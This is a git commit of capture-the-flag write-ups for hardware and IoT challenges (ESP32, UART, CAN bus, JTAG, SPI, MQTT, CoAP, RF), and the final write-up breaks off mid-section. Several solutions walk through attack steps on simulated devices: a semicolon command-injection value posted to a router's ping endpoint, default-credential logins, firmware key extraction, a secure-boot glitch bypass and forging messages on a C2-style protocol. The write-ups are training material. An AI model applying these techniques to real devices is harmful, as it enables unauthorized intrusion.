ESPILON CTF 2026 — Write-ups édition 1 (33 challenges)

This commit is contained in:
Eun0us 2026-03-22 19:18:58 +01:00
commit b3553ba029
25 changed files with 2109 additions and 0 deletions

63
ESP/ESP_Start/README.md Normal file
View File

@ -0,0 +1,63 @@
# ESP Start — Solution
**Difficulty:** Easy | **Category:** ESP | **Flag:** `ESPILON{st4rt_th3_w1r3}`
## Overview
Flash the provided firmware onto an ESP32. On boot, the device outputs an
XOR-encrypted flag along with the XOR key via UART at 115200 baud.
## Step 1 — Flash the firmware
```bash
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
0x1000 bootloader.bin \
0x8000 partition-table.bin \
0x10000 hello-espilon.bin
```
## Step 2 — Read the UART output
```bash
screen /dev/ttyUSB0 115200
# Or:
minicom -D /dev/ttyUSB0 -b 115200
```
The device prints:
```text
=== Hello ESP ===
System ready.
Encrypted flag: 09 12 19 07 00 0E 07 35 3F 35 7D 3C 38 1E 3D 26 7F 1E 3E 7F 3E 72 34
XOR Key: 4C 41 49 4E
```
## Step 3 — Decrypt the flag
XOR key is `LAIN` (`4C 41 49 4E`). Apply it cyclically:
```python
enc = bytes([0x09,0x12,0x19,0x07,0x00,0x0E,0x07,0x35,
0x3F,0x35,0x7D,0x3C,0x38,0x1E,0x3D,0x26,
0x7F,0x1E,0x3E,0x7F,0x3E,0x72,0x34])
key = b"LAIN"
flag = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc))
print(flag.decode())
# ESPILON{st4rt_th3_w1r3}
```
## Key Concepts
- **ESP32 flashing**: `esptool.py` writes bootloader, partition table, and application at their respective offsets
- **UART monitoring**: ESP32 default baud rate is 115200, 8N1
- **XOR cipher**: Simple symmetric cipher — key is broadcast in plaintext here as an intro challenge
## Flag
`ESPILON{st4rt_th3_w1r3}`
## Author
Eun0us

View File

@ -0,0 +1,173 @@
# Jnouner Router — Solution
**Category:** ESP | **Type:** Multi-part (4 flags)
| Flag | Name | Points | Flag value |
|------|-----------------|--------|-----------------------------------|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
## Setup
Flash the firmware on an ESP32:
```bash
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
0x1000 bootloader.bin \
0x8000 partition-table.bin \
0x10000 jnouned_router.bin
```
Open the UART console:
```bash
screen /dev/ttyUSB0 115200
```
---
## Flag 1 — Console Access
The UART console shows a `jnoun-console>` prompt. The password is hardcoded in
the firmware as three concatenated parts. Read the ELF strings or reverse
`build_admin_password()` in `admin.c`:
```
p1 = "jnoun-"
p2 = "admin-"
p3 = "2022"
→ password = "jnoun-admin-2022"
```
```text
admin_login jnoun-admin-2022
```
Flag 1 is printed on success.
---
## Flag 2 — 802.11 TX
From the admin console, trigger 802.11 frame emission:
```text
settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
start_emitting ← starts sending raw 802.11 data frames for 90 seconds
```
WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`):
- **SSID**: `Jnoun-3E4C`
- **PSK**: `LAIN_H4v3_Ajnoun`
Put a WiFi card into **monitor mode** and capture the 802.11 frames while the
flooder runs. Among random noise frames, one frame (emitted at a random time
between 5 and 85 seconds) contains flag 2 in its payload:
```bash
airmon-ng start wlan0
tcpdump -i wlan0mon -w capture.pcap
# or
tshark -i wlan0mon -w capture.pcap
```
Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext
in the 802.11 data frame payload.
---
## Flag 3 — Admin Panel
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an
HTTP server at `http://192.168.4.1`.
Login with default credentials: `admin` / `admin`.
The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin
page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`.
Inject via the `target` field:
```text
POST /api/ping
target=192.168.1.1; flag
```
Flag 3 is printed to the UART console (`ESP_LOGE` output).
Or URL-encoded via curl:
```bash
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
-d "target=x%3B+flag"
```
---
## Flag 4 — JMP Protocol
From the admin panel, trigger the exfiltration session:
```text
target=x; start_session
```
The UART console shows:
```text
JMP Server listening on UDP:6999
PROTOCOL INITIALIZATION LEAK:
Magic: 0x4A4D5021
Auth hash (SHA256): <hash>
Hint: Secret pattern is JNOUNER_SECRET_XXXX
```
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
then request data blocks:
```python
import socket, struct, hashlib
HOST = "192.168.4.1"
PORT = 6999
MAGIC = 0x4A4D5021
SECRET = b"JNOUNER_SECRET_EXFILTRATION"
secret_hash = hashlib.sha256(SECRET).digest()
# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(auth_pkt, (HOST, PORT))
# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
resp, _ = sock.recvfrom(1024)
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
print(f"Token: 0x{token:08x}")
# Request all blocks
flag = b""
for block_id in range(10):
# DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
sock.sendto(req, (HOST, PORT))
resp, _ = sock.recvfrom(1024)
# DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
if len(resp) < 8:
break
_, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
data = resp[8:8+dlen]
flag += data
if bid + 1 >= total:
break
print(flag.decode())
```
## Author
Eun0us

View File

@ -0,0 +1,62 @@
# CAN Bus Implant — Solution
## Overview
Simulated CAN bus with background traffic and UDS (Unified Diagnostic Services) protocol. Player sniffs traffic to identify patterns, then injects UDS frames to gain security access and read a protected DID.
## Steps
1. Open two terminals — one for sniffing, one for injection:
```bash
# Terminal 1: Sniff
nc <host> 3600
# Terminal 2: Inject
nc <host> 3601
```
2. Observe traffic on the sniff port. Note the following patterns:
- `0x100`: Heartbeat (periodic counter)
- `0x200-0x203`: Sensor data (temperature, heart rate)
- `0x7DF`: OBD broadcast diagnostic request
- `0x7E0``0x7E8`: UDS request/response pair (periodic VIN read)
3. On the inject port, enter extended diagnostic session:
```
send 7E0 02 10 03 00 00 00 00 00
```
Response on sniff shows `0x7E8` with positive response `50 03`.
4. Request a security seed:
```
send 7E0 02 27 01 00 00 00 00 00
```
Response contains 4-byte seed: `67 01 XX XX XX XX`.
5. Compute the key by XORing each seed byte with `0x42`, then send:
```
send 7E0 06 27 02 KK KK KK KK 00
```
Positive response: `67 02`.
6. Read the flag from DID 0xFF01:
```
send 7E0 03 22 FF 01 00 00 00 00
```
Response contains the flag.
## Key Concepts
- **CAN bus**: Controller Area Network — no authentication, broadcast medium, used in vehicles and medical equipment
- **UDS (ISO 14229)**: Diagnostic protocol with services like DiagnosticSessionControl, SecurityAccess, ReadDataByIdentifier
- **SecurityAccess**: Challenge-response authentication — ECU sends seed, tester must compute correct key
- **Traffic analysis**: Identifying request/response patterns and protocol types from raw bus traffic

View File

@ -0,0 +1,54 @@
# Glitch The Wired — Solution
## Overview
Simulated voltage glitching attack on a WIRED-MED secure boot module. The goal is to inject a fault during the signature verification phase to bypass it and access the debug console.
## Steps
1. Connect to the glitch lab:
```bash
nc <host> 3700
```
2. Observe the boot sequence:
```
observe
```
Note the cycle ranges — SIG_VERIFY runs at cycles 3200-3400.
3. Configure glitch parameters:
```
set_delay 3300
set_width 20
```
The delay targets the middle of the SIG_VERIFY window. Width of 10-30 cycles works.
4. Arm and trigger:
```
arm
trigger
```
If successful, the boot log shows "SIG_VERIFY ....... SKIPPED" and a debug shell activates.
5. Read the debug console:
```
read_console
```
The flag is in the maintenance token output.
## Key Concepts
- **Voltage glitching**: Briefly disrupting power supply to cause CPU instruction skips
- **Secure boot bypass**: Skipping signature verification allows unsigned code to run
- **Timing precision**: The glitch must overlap with the target operation's execution window
- **Width matters**: Too short = transient recovery, too wide = brown-out crash

View File

@ -0,0 +1,69 @@
# NAVI I2C Sniff — Solution
## Overview
Simulated I2C bus with 3 devices on Lain's NAVI computer. The EEPROM holds an XOR-encrypted flag, the crypto IC holds the key (but is locked), and the temp sensor has a hint.
## Steps
1. Connect:
```bash
nc <host> 3300
```
2. Scan the bus:
```
scan
```
Finds 3 devices: 0x50 (EEPROM), 0x48 (Temp), 0x60 (Crypto IC).
3. Read the temp sensor's hidden register:
```
read 0x48 0x07 16
```
Returns `key@0x60:0x10` — hint pointing to crypto IC register 0x10.
4. Try reading the crypto key:
```
read 0x60 0x10 32
```
Returns all zeros — the IC is locked.
5. Check lock status and unlock:
```
read 0x60 0x00 1 # Returns 0x01 (locked)
write 0x60 0x00 0xA5 # Unlock code
```
6. Read the XOR key:
```
read 0x60 0x10 32
```
Now returns the actual key: `NAVI_WIRED_I2C_CRYPTO_KEY_2024!!`
7. Read the EEPROM:
```
read 0x50 0x00 64
```
Returns XOR-encrypted data.
8. XOR decrypt EEPROM data with the key to get the flag.
## Key Concepts
- **I2C bus scanning**: Enumerate devices by sending start conditions to all 7-bit addresses
- **Multi-device interaction**: Information from one device unlocks another
- **Access control**: The crypto IC requires an unlock sequence before revealing the key
- **XOR encryption**: Simple symmetric cipher used for data at rest in EEPROM

View File

@ -0,0 +1,61 @@
# Phantom JTAG — Solution
## Overview
Simulated JTAG debug port with IEEE 1149.1 TAP state machine. The debug interface is locked and requires a key to unlock. Once unlocked, memory can be read to extract the flag.
## Steps
1. Connect:
```bash
nc <host> 3400
```
2. Reset the TAP controller:
```
reset
```
3. Read device IDCODE:
```
ir 1
dr 00000000 32
```
Returns `0x4BA00477` (ARM Cortex-M like device).
4. Unlock debug interface — load IR instruction 0x5 and send key `0xDEAD`:
```
ir 5
dr DEAD 16
```
Check with `state` — should show "Debug: UNLOCKED".
5. Read memory — load MEM_READ instruction (IR 0x8):
```
ir 8
```
6. Dump flag from memory at 0x1000:
```
dr 1000 16
dr 00000000 32
```
The first `dr` sends the address, the second reads the 32-bit word at that address. Repeat for addresses 0x1000, 0x1004, 0x1008... until the full flag is recovered.
7. Convert the 32-bit little-endian words back to ASCII to reconstruct the flag.
## Key Concepts
- **JTAG TAP state machine**: IEEE 1149.1 defines a 16-state FSM controlled by TMS signal
- **IR/DR registers**: Instruction Register selects the operation, Data Register carries parameters/results
- **Debug port locking**: Many chips have a lock mechanism requiring a key to enable debug access
- **Memory dump via JTAG**: Once debug is unlocked, arbitrary memory reads are possible

View File

@ -0,0 +1,45 @@
# Serial Experimental 00 -- Solution
## Overview
The challenge provides a split UART interface:
- TX (read): `1111`
- RX (write): `2222`
Goal: recover token and run `unlock <token>`.
## Steps
1. Open both channels:
```bash
nc <host> 1111
nc <host> 2222
```
2. Query diagnostics from RX:
```text
diag.uart
diag.eeprom
diag.order
```
3. Recover fragments:
- `frag_a_hex=4c41494e` -> `LAIN`
- `frag_b_xor_hex=4056415a525f` with `xor_key=0x13` -> `SERIAL`
- `frag_c_hex=3030` -> `00`
4. Build token:
`LAIN-SERIAL-00`
5. Unlock:
```text
unlock LAIN-SERIAL-00
```
6. Flag is returned on TX.

View File

@ -0,0 +1,57 @@
# Signal Tap Lain — Solution
## Overview
A logic analyzer capture is streamed with 3 channels. Channel 1 (ch1) contains
UART data at 9600 baud, 8N1 format. The player must identify the protocol from
signal timing and decode the ASCII message.
## Steps
1. Connect and capture the data:
```bash
nc <host> 3800 > capture.csv
```
Wait for `--- END OF CAPTURE ---`.
1. Analyze the capture. Use `info` command for metadata:
```text
info
```
Shows 3 channels: ch0 (reference), ch1 (data), ch2 (noise).
1. Focus on ch1. Look for patterns:
- Idle state is HIGH (1)
- Periodic falling edges = start bits
- Measure time between start bits to find character period
1. Calculate baud rate:
- Bit period ≈ 104.17 μs → 9600 baud
- Character frame = 10 bits (1 start + 8 data + 1 stop) = ~1041.67 μs
1. Decode UART 8N1:
- Start bit: falling edge (HIGH → LOW)
- Sample data bits at center of each bit period (1.5 × bit_period after start)
- 8 data bits, LSB first
- Stop bit: HIGH
1. Script or manually decode the ch1 data to ASCII. The message contains the flag
repeated 3 times.
## Key Concepts
- **Logic analysis**: Reading digital signals and identifying protocols from timing patterns
- **UART 8N1**: Universal Asynchronous Receiver/Transmitter — start bit, 8 data bits LSB-first, no parity, 1 stop bit
- **Baud rate detection**: Measuring the shortest pulse width gives the bit period → baud rate
- **Signal separation**: In a multi-channel capture, identifying which channel carries useful data
## Flag
`ESPILON{s1gn4l_t4p_l41n}`

View File

@ -0,0 +1,53 @@
# Wired SPI Exfil — Solution
## Overview
Simulated SPI flash chip from a WIRED-MED module. Standard SPI flash commands are used to read chip contents. A hidden partition not listed in the normal partition table contains the XOR-encrypted flag. The SFDP table has vendor-specific parameters that reveal the hidden sector.
## Steps
1. Connect and assert CS:
```bash
nc <host> 3500
cs 0
```
2. Read chip ID:
```
tx 9F
```
Returns `EF 40 18` = Winbond W25Q128.
3. Read the SFDP table to discover hidden sectors:
```
tx 5A 00 00 00 00
```
SFDP header shows 2 parameter tables. Read vendor table at offset 0x80:
```
tx 5A 00 00 80 00
```
Vendor data shows a hidden partition at `0x030000` labeled "HIDDEN".
4. Read the hidden partition:
```
tx 03 03 00 00
```
Data starts with `WIRED_HIDDEN_PARTITION` header, followed by encrypted bytes.
5. XOR the encrypted data with key `WIRED_SPI` to get the flag.
## Key Concepts
- **SPI flash commands**: Standard opcodes (RDID, READ, SFDP) work across most flash chips
- **SFDP**: Serial Flash Discoverable Parameters — a standardized way to query flash capabilities. Vendor extensions can hide extra information
- **Hidden partitions**: Not all storage areas appear in standard partition tables — manual probing or SFDP analysis reveals them
- **Data at rest encryption**: Simple XOR protection on stored secrets

135
Intro/The_Wired/README.md Normal file
View File

@ -0,0 +1,135 @@
# The Wired — Writeup
**Difficulty:** Medium | **Flag:** `ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}`
## Recon
Connect to the Navi shell on port 1337 and start reading.
```bash
nc <HOST> 1337
cat README_FIRST.txt
ls -la
```
Directories: `notes/`, `comms/`, `dumps/`, `logs/`, `tools/`, `journal/`, `wired/`
The key files to understand the protocol:
- `notes/protocol.txt` — frame format is `base64( ChaCha20( protobuf(AgentMessage) ) ) + '\n'`
- `notes/derivation.txt` — ChaCha20 with 32-byte key, 12-byte nonce, counter=0
- `notes/hardening.txt` — keys are baked into the firmware ELF. **WARNING:** there's a dev key at the bottom (`Xt9Lm2Qw7KjP4rNvB8hYc3fZ0dAeU6sG`) — it's a trap planted by "the other Lain". The server drops you silently if you use it. The journal entry from Jan 17 warns about this.
## Identify the target
`notes/eiri.txt` and `tools/devices.json` tell you the interesting device is `ce4f626b` — alias "Eiri_Master", role `root-coordinator`, status `quarantine`. Regular devices just get a `heartbeat` back. This one triggers the flag path.
## Understand the handshake
`comms/msg_ops_20260114.txt` describes the 2-step session:
1. Agent sends `AGENT_INFO` → coordinator replies `session_init` with a random token in `argv[0]`
2. Agent sends `AGENT_CMD_RESULT` with `request_id` = that token → coordinator replies with the flag
`comms/msg_lain_20260116.txt` confirms both messages have to go on the **same TCP connection**. Token is per-connection, can't reuse it.
## Extract the key
Any device ELF works since they all share the same key (see `notes/changelog.txt` about v0.9.0 migration).
```bash
strings dumps/7f3c9a12/bot-lwip.elf | grep -E '^[A-Za-z0-9]{32}$'
strings dumps/7f3c9a12/bot-lwip.elf | grep -E '^[A-Za-z0-9]{12}$'
```
- Key (32 bytes): `7Kj2mPx9LwR4nQvT1hYc3bFz8dAeU6sG`
- Nonce (12 bytes): `X3kW7nR9mPq2`
Alternative: Ghidra → find `chacha_cd()` in crypto.c → follow xrefs to `CONFIG_CRYPTO_KEY` / `CONFIG_CRYPTO_NONCE`.
## Exploit
Single TCP connection to port 2626.
**MSG1 — AGENT_INFO:**
```
AgentMessage {
device_id = "ce4f626b"
type = 0 (INFO)
payload = b"ce4f626b"
}
```
Serialize as protobuf → ChaCha20 encrypt → base64 + `\n` → send.
Server replies with:
```
Command {
command_name = "session_init"
argv = ["<hex_token>"]
request_id = "handshake"
}
```
Decrypt + decode the response, grab the token from `argv[0]`.
**MSG2 — CMD_RESULT:**
```
AgentMessage {
device_id = "ce4f626b"
type = 4 (CMD_RESULT)
request_id = "<token>"
payload = b"ce4f626b"
}
```
Same connection. Encrypt, encode, send.
Server replies:
```
Command {
command_name = "flag"
argv = ["ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}"]
}
```
## Things that will get you dropped
- Using the fake dev key from `hardening.txt`
- Sending a device_id not in the allowlist
- Using a valid but non-master device (you get `heartbeat`, not `flag`)
- Sending MSG2 on a new connection (token is tied to the session)
- Wrong `type` in MSG2 (needs to be `4`)
- Wrong `request_id` (needs to match the token exactly)
## Solver
```bash
python3 solve.py --host <HOST> --port 2626
```
## Protobuf reference
The `.proto` is at `wired/registry/c2.proto` on the target:
```protobuf
message AgentMessage {
string device_id = 1;
AgentMsgType type = 2;
string source = 3;
string request_id = 4;
bytes payload = 5;
bool eof = 6;
}
message Command {
string device_id = 1;
string command_name = 2;
repeated string argv = 3;
string request_id = 4;
}
```
No need for `protoc` — manual varint encoding works fine. See `solve.py`.
Author: Eun0us

View File

@ -0,0 +1,72 @@
# Anesthesia Gateway -- Solution
## Overview
MQTT broker simulating an anesthesia monitoring gateway. A debug topic leaks
an encoded firmware blob. Reverse the encoding to extract a maintenance key
and publish it to unlock the flag.
## Steps
### 1. Connect and discover topics
```bash
mosquitto_sub -h HOST -t "sainte-mika/#" -v
```
Topics discovered:
- `sainte-mika/or13/vitals` -- patient vital signs (JSON)
- `sainte-mika/or13/sevoflurane` -- anesthetic gas data
- `sainte-mika/or13/propofol` -- infusion pump data
- `sainte-mika/or13/ventilator` -- mechanical ventilator data
- `sainte-mika/or13/alarms` -- alarm status (note: `"network": "WIRED-MED"`)
- `sainte-mika/or13/debug/firmware` -- **base64-encoded blob (every 45s)**
### 2. Capture firmware blob
Grab the base64 string from `debug/firmware`.
### 3. Decode the blob
The encoding chain is: JSON -> zlib -> XOR("WIRED") -> base64
To reverse:
```python
import base64, zlib
blob = "<base64 string from MQTT>"
raw = base64.b64decode(blob)
# XOR with key "WIRED" (hint: WIRED-MED appears in alarm data)
key = b"WIRED"
xored = bytes(b ^ key[i % len(key)] for i, b in enumerate(raw))
# After XOR, bytes start with 78 9C (zlib magic)
config = zlib.decompress(xored)
print(config.decode())
```
### 4. Extract maintenance key
The decoded JSON contains:
```json
{
"maintenance_key": "N4V1-C4R3-0R13-L41N"
}
```
### 5. Publish key and get flag
```bash
mosquitto_pub -h HOST -t "sainte-mika/or13/maintenance/unlock" -m "N4V1-C4R3-0R13-L41N"
```
Subscribe to the flag topic:
```bash
mosquitto_sub -h HOST -t "sainte-mika/or13/maintenance/flag"
```
### Key insights
- The XOR key "WIRED" is discoverable from the alarm topic which includes `"network": "WIRED-MED"`
- After XOR decryption, the zlib magic bytes `78 9C` confirm the correct key
- The maintenance key "N4V1-C4R3-0R13-L41N" = "Navi Care OR13 Lain" in leetspeak
## Flag
`ESPILON{mQtt_g4tw4y_4n3sth3s14}`
## Author
Eun0us

View File

@ -0,0 +1,149 @@
# LAIN_Br34kC0r3 V2 — Solution
**Chapitre 2 : Core Analysis** | Difficulté : Hard | Flag : `ESPILON{3sp32_fl4sh_dump_r3v3rs3d}`
## Overview
Ce challenge fournit un dump flash complet d'un ESP32 (bootloader + partition table + NVS + firmware applicatif). Le joueur doit extraire le firmware, le reverse engineer pour trouver les clés AES-256-CBC, puis déchiffrer le flag stocké dans la NVS.
## Étape 1 — Récupérer le dump flash
```bash
# Terminal 1 : TX (lecture)
nc <host> 1111 | tee flash_output.txt
# Terminal 2 : RX (écriture)
echo "dump_flash" | nc <host> 2222
```
Le dump est envoyé en base64. Extraire et décoder :
```python
import base64
with open("flash_output.txt") as f:
lines = f.readlines()
# Extract base64 lines between markers
b64_data = ""
capture = False
for line in lines:
if "BEGIN FLASH DUMP" in line:
capture = True
continue
if "END FLASH DUMP" in line:
break
if capture:
b64_data += line.strip()
flash = base64.b64decode(b64_data)
with open("flash_dump.bin", "wb") as f:
f.write(flash)
```
## Étape 2 — Analyse du dump flash
```bash
# Identifier les composants
binwalk flash_dump.bin
# Ou utiliser esptool
esptool.py image_info --version 2 flash_dump.bin
```
Structure identifiée :
```
0x0000 Padding (0xFF)
0x1000 ESP32 bootloader (magic 0xE9)
0x8000 Partition table
0x9000 NVS partition (24 KiB)
0xF000 PHY init data
0x10000 Application firmware (magic 0xE9)
```
## Étape 3 — Extraire le firmware applicatif
```bash
# Extraire l'app à partir de l'offset 0x10000
dd if=flash_dump.bin of=app_firmware.bin bs=1 skip=$((0x10000))
# Vérifier
file app_firmware.bin
# Devrait montrer un binaire ESP32 ou "data"
hexdump -C app_firmware.bin | head -5
# Premier byte devrait être 0xE9 (ESP image magic)
```
## Étape 4 — Reverse Engineering
### Méthode rapide : strings
```bash
strings -n 10 app_firmware.bin | grep -i "key\|aes\|iv\|wired\|therapy"
```
Résultats attendus :
```
W1R3D_M3D_TH3R4PY_K3Y_2024_L41N! # AES-256 key (32 bytes)
L41N_WIRED_IV_01 # AES IV (16 bytes)
WIRED-MED Therapy Module
```
### Méthode complète : Ghidra
1. Ouvrir Ghidra, importer `app_firmware.bin` (ou mieux, l'ELF si disponible)
2. Architecture : **Xtensa:LE:32:default**
3. Analyser → chercher `app_main` dans les symboles
4. Suivre les appels : `app_main()``wired_med_crypto_init()``mbedtls_aes_setkey_enc()`
5. Les arguments de `mbedtls_aes_setkey_enc()` pointent vers `therapy_aes_key` dans `.rodata`
6. Extraire les 32 bytes de la clé et les 16 bytes de l'IV
## Étape 5 — Récupérer le flag chiffré
### Option A : Commande directe
```
encrypted_data
```
→ Retourne le ciphertext en hex
### Option B : Parser la NVS
```bash
# Extraire la partition NVS
dd if=flash_dump.bin of=nvs_dump.bin bs=1 skip=$((0x9000)) count=$((0x6000))
# Utiliser nvs_tool.py de ESP-IDF (si disponible)
python3 $IDF_PATH/components/nvs_flash/nvs_partition_tool/nvs_tool.py --dump nvs_dump.bin
```
Chercher l'entrée : namespace `wired_med`, key `encrypted_flag`, type blob
## Étape 6 — Déchiffrement AES-256-CBC
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b"W1R3D_M3D_TH3R4PY_K3Y_2024_L41N!" # 32 bytes
iv = b"L41N_WIRED_IV_01" # 16 bytes
# Ciphertext from encrypted_data command or NVS
ciphertext = bytes.fromhex("...")
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(plaintext.decode())
# ESPILON{3sp32_fl4sh_dump_r3v3rs3d}
```
## Résumé de la chaîne d'attaque
```
dump_flash → base64 decode → binwalk → extract app @ 0x10000
→ strings/Ghidra (Xtensa RE) → find AES key + IV in .rodata
→ encrypted_data (or NVS parse) → AES-256-CBC decrypt → FLAG
```
## Script de solve complet
Voir `solve/solve.py`

View File

@ -0,0 +1,87 @@
# Let's All Hate UART — Solution
**Chapitre 1 : Peripheral Access** | Difficulté : Medium-Hard | Flag : `ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry}`
## Overview
Ce challenge simule l'interface UART d'un module de thérapie WIRED-MED (ESP32). Le joueur doit progresser à travers 4 couches de discovery pour extraire le flag depuis la NVS du device.
## Étape 1 — Connexion UART
Ouvrir deux terminaux :
```bash
# Terminal 1 : TX (lecture seule)
nc <host> 1111
# Terminal 2 : RX (écriture seule)
nc <host> 2222
```
Le boot sequence ESP32 s'affiche sur TX. Lire attentivement — il contient des infos cruciales.
## Étape 2 — Discovery des commandes cachées
La commande `help` ne montre que les commandes basiques. Deux indices :
- `info` mentionne "Debug interface: ENABLED (restricted)"
- Envoyer `?` ou `help -a` révèle les commandes cachées : `debug`, `mem`, `nvs`, `flash`
## Étape 3 — Extraction du token debug depuis la RAM
La commande `mem read` fonctionne SANS authentification pour la plage DRAM publique `0x3FFB0000-0x3FFB1000`.
```
mem read 0x3FFB0800 48
```
Résultat :
```
3FFB0800: 57 49 52 45 44 2D 4D 45 44 00 00 00 00 00 00 00 |WIRED-MED.......|
3FFB0810: 64 47 68 33 63 6D 46 77 65 56 39 74 4D 47 52 31 |dGgzcmFweV9tMGR1|
3FFB0820: 62 47 55 39 00 00 00 00 00 00 00 00 00 00 00 00 |bGU9............|
```
La partie ASCII aux offsets 0x810-0x830 contient du base64 : `dGgzcmFweV9tMGR1bGU9`
```python
import base64
base64.b64decode("dGgzcmFweV9tMGR1bGU9")
# b'th3rapy_m0dule='
```
## Étape 4 — Authentification debug
```
debug auth th3rapy_m0dule=
```
→ "DEBUG MODE ENABLED. Extended commands unlocked."
## Étape 5 — Exploration NVS
```
nvs list
```
Affiche les entrées NVS dont `crypto_flag` (blob, 34 bytes).
```
nvs read crypto_flag
```
Retourne un hexdump du flag chiffré.
## Étape 6 — Déchiffrement XOR
Le blob est XOR'd avec la clé cyclique `WIRED` (5 bytes). Indice : le flag commence par `ESPILON{` — en XOR avec les premiers bytes du blob, on peut retrouver la clé.
```python
encrypted = bytes.fromhex("...") # hex du nvs read
key = b"WIRED"
flag = bytes(b ^ key[i % len(key)] for i, b in enumerate(encrypted))
print(flag.decode())
# ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry}
```
## Script de solve complet
Voir `solve/solve.py`

25
IoT/Nurse_Call/README.md Normal file
View File

@ -0,0 +1,25 @@
# Nurse Call -- Solution
## Overview
Connect to the maintenance terminal and investigate phantom calls from Room 013.
## Steps
1. Connect: `nc <host> 1337`
2. Read `logs/appels.log` -- notice Room 013 phantom calls, especially the last line:
`payload room 013: 0x4c41494e`
3. Read `logs/reseau.log` -- confirms `0x4c41494e -> ASCII: "LAIN"`
4. Read `logs/maintenance.log` -- technician says to use `reveil.sh --id` with the payload ID
5. Optionally read `config/navi-care.conf` for exact syntax: `reveil.sh --id <MODULE_ID>`
6. Execute: `./tools/reveil.sh --id LAIN`
7. Flag is printed: `ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}`
## Key insight
The hex payload `0x4c41494e` is ASCII for "LAIN". The player must decode this
and use it as the module identifier with the wake tool.
## Flag
`ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}`
## Author
Eun0us

View File

@ -0,0 +1,52 @@
# Observe The Wired -- Solution
## Overview
CoAP node with observable stream. Recover fragments, decode the firmware blob, then POST the maintenance key.
## Steps
1. Discover resources
```bash
coap-client -m get coap://HOST/.well-known/core
```
2. Get fragments A and B
```bash
coap-client -m get coap://HOST/status
coap-client -m get coap://HOST/telemetry/heart
```
3. Observe the stream for fragment C
```bash
coap-client -m get -s 30 -o coap://HOST/wired/stream
```
Capture the JSON notification that includes `fragment_c`.
4. Build XOR key
Concatenate fragments in order A + B + C:
```
WIRED + LAIN + 23 = WIREDLAIN23
```
5. Download firmware blob
```bash
coap-client -m get coap://HOST/archive/firmware
```
Save the base64 data between `FIRMWARE_B64_BEGIN` and `FIRMWARE_B64_END` into `firmware.b64`.
6. Decode the blob
```bash
python3 decode.py firmware.b64
```
The JSON includes `maintenance_key`.
7. Unlock and get the flag
```bash
coap-client -m post -e '0BS3RV3-L41N-23' coap://HOST/maintenance/unlock
```
## Flag
`ESPILON{c0ap_0bs3rv3_th3_w1r3d}`
## Author
Eun0us

View File

@ -0,0 +1,60 @@
# Wired Airwave 013 -- Solution
## Overview
The challenge exposes:
- `tcp/9001`: raw interleaved int8 IQ stream (2-FSK bursts)
- `tcp/31337`: maintenance console
Goal:
1. Demodulate valid RF frames from IQ.
2. Recover the maintenance token hidden in maintenance frames.
3. Submit it with `unlock <token>` on the console.
## Packet format
After preamble and sync, each frame carries 20 obfuscated bytes:
- `type` (1 byte)
- `counter` (1 byte)
- `data` (16 bytes, text)
- `crc16-ccitt` (2 bytes, big endian)
The 20-byte payload is XOR-obfuscated with repeating key `WIREDMED13`.
## Decode path
1. Convert stream to complex IQ (`int8` interleaved).
2. Differential FSK demod:
- sign of `imag(s[n] * conj(s[n-1]))`
3. Symbol slicing with `40` samples/symbol.
4. Find `preamble + sync` marker.
5. Parse payload, XOR-deobfuscate, verify CRC16.
## Maintenance token
Valid decoded maintenance frames include:
- `P1:0BS3RV3`
- `P2:-L41N-868`
Token is:
`0BS3RV3-L41N-868`
## Unlock
```bash
nc <host> 31337
unlock 0BS3RV3-L41N-868
```
Server returns the flag.
## Automated solver
```bash
python3 solve.py --host <host>
```

View File

@ -0,0 +1,102 @@
# Accela Signal -- Solution
## Overview
A LoRa-like Chirp Spread Spectrum (CSS) IQ stream containing two types of frames:
beacon (cleartext) and data (XOR-encrypted flag). Players must implement CSS
demodulation from scratch to decode the frames.
## Steps
### 1. Capture IQ Stream
Connect to TCP port 9002. A text banner appears first, followed by raw IQ data.
```bash
nc HOST 9002 > capture.raw
# Or use the solve script
```
The banner tells you: `IQ baseband, 8000 sps, int16 LE interleaved`.
### 2. Analyze the Signal
Open the IQ data in a spectrogram tool (e.g., inspectrum, Python matplotlib, or
GNU Radio). You'll see:
- Characteristic **chirp** patterns: frequency sweeps from low to high
- Repeating preambles (identical chirps)
- Gaps of noise between transmissions
This is **Chirp Spread Spectrum (CSS)**, the modulation used by LoRa.
### 3. Determine Parameters
- Each chirp spans 128 samples → **N = 128**
